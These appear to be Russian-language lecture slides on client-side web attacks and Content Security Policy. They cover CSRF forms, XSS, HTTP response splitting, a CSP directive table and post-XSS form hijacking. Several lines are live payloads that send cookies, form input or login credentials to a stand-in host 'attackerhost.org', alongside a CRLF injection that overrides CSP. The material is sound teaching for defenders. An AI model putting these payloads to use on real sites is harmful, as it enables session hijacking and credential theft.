клиентские атаки часто ориентированы непосредственно на пользователя
нужно заставить другого человека произвести определенные действия
site.com
обход SOP и является целью большинства клиентских атак
<img src="https://site.com/logout"></img>
<form action="https://site.com/drop-database">
<input type="hidden" name="id" value=1>
</form>
<script>
document.getElementsByTagName('form')[0].submit()
</script>
Cross Site Scripting (межсайтовый скриптинг).
Ошибка валидации пользовательских данных, которая позволяет передать JavaScript код на исполнение в браузер пользователя.
HTML-Injection
http://www.site.com/index?var=<script>alert('xss');</script>
var іmg = new Image();
іmg.srс = 'http://attackerhost.org/xss?' + document.cookie;
http://site.com/index.html?<script>alert('xss')</script>
<script>
document.write(unescape(documant.location.href);
</script>
<form onsubmit="document.write(this.t.value)">
<input type='text' id = 't'>
</form>
document.write()
document.writeln()
eval()
.innerHTML
http://test.com?jump={user input}
...
Location: {user input}
...
http://test.com?jump=hell%0d%0aSet-Cookie%3A%20gotohell%20%3D%201
...
Location: hell
Set-Cookie: gotohell = 1
...
default-src |
'self' cdn.example.com |
Значение по умолчанию |
script-src |
'self' js.example.com |
Определяет валидные источники JavaScript |
style-src |
'self' css.example.com |
Определяет валидные источники стилей |
img-src |
'self' img.example.com |
Определяет валидные источники изображений |
connect-src |
'self' |
Относится к XMLHttpRequest (AJAX), WebSocket или EventSource. Если не разрешено - браузер генерирует 400 HTTP статус. |
font-src |
font.example.com |
Определяет валидные источники шрифтов |
object-src |
'self' |
Определяет валидные источники плагинов, например <object>, <embed> или <applet> |
media-src |
media.example.com |
Определяет валидные источники аудио/видео, например HTML5 <audio>, <video> элементы. |
frame-src |
'self' |
Deprecated. Определяет валидные источники для фреймов. child-src предпочтительней. |
report-uri |
/some-report-uri |
Инструкция для браузера опубликовать отчет о сбое политики, POST на указанный URI. так же можно использовать header -Report-Only для описания политик которые нуждаются в отчетах. |
* |
img-src */code> |
разрешает все URL кроме data: blob: filesystem: |
'none' |
script-src 'self' |
Позволяет загружать ресурсы с того же same origin ( прицип SOP ) |
data: |
img-src 'self' data: |
Разрешает загрузку ресурсов с data схемы (пример Base64 encoded img). |
domain.example.com |
img-src domain.example.com |
Разрешает загрузку из специальных источников. |
*.example.com |
img-src *.example.com |
Разрешает загрузку из поддоменов example.com. |
https://cdn.com |
img-src https://cdn.com |
Разрешает загрузку только по HTTPS для указанного домена |
https: |
img-src https: |
Разрешает загрузку только по HTTPS для всех доменов |
'unsafe-inline' |
script-src 'unsafe-inline' |
Позволяет использовать источники встроенные в элементы, такие как атрибут стиля, OnClick и пр. |
'unsafe-eval' |
script-src 'unsafe-eval' |
Разрешает небезопасную динамическую подгрузку кода, как eval() |
Content-Security-Policy-Report-Only: {your directives}
проблема инлайн-скриптов
CSP 1.1 есть частичное решение для этой проблемы — директива script-nonce
<script nonce=”9cdfb43”> alert(“allowed”); </script>
<script> alert(“not allowed”); </script>
%0d%0aContent-Security-Policy: script-src 'unsafe-inline' *%0d%0a
CSSAR
input[value^=a] {background:url(http://attackerhost.org/?a)}
Postcards from post-XSS world
<img src="http://attackerhost.org?c=
<form action="http://attackerhost.org/log">
...
<form action="login.php">
<input type="text" name="login">
<input type="password" name="password">
</form>
<base href="http://attackerhost.org/log">
...
Уязвимость сайтов, в первую очередь, в руках разработчиков.
Content Security Policy — хороший инструмент, которым не стоит пренебрегать.
Следите за валидацией.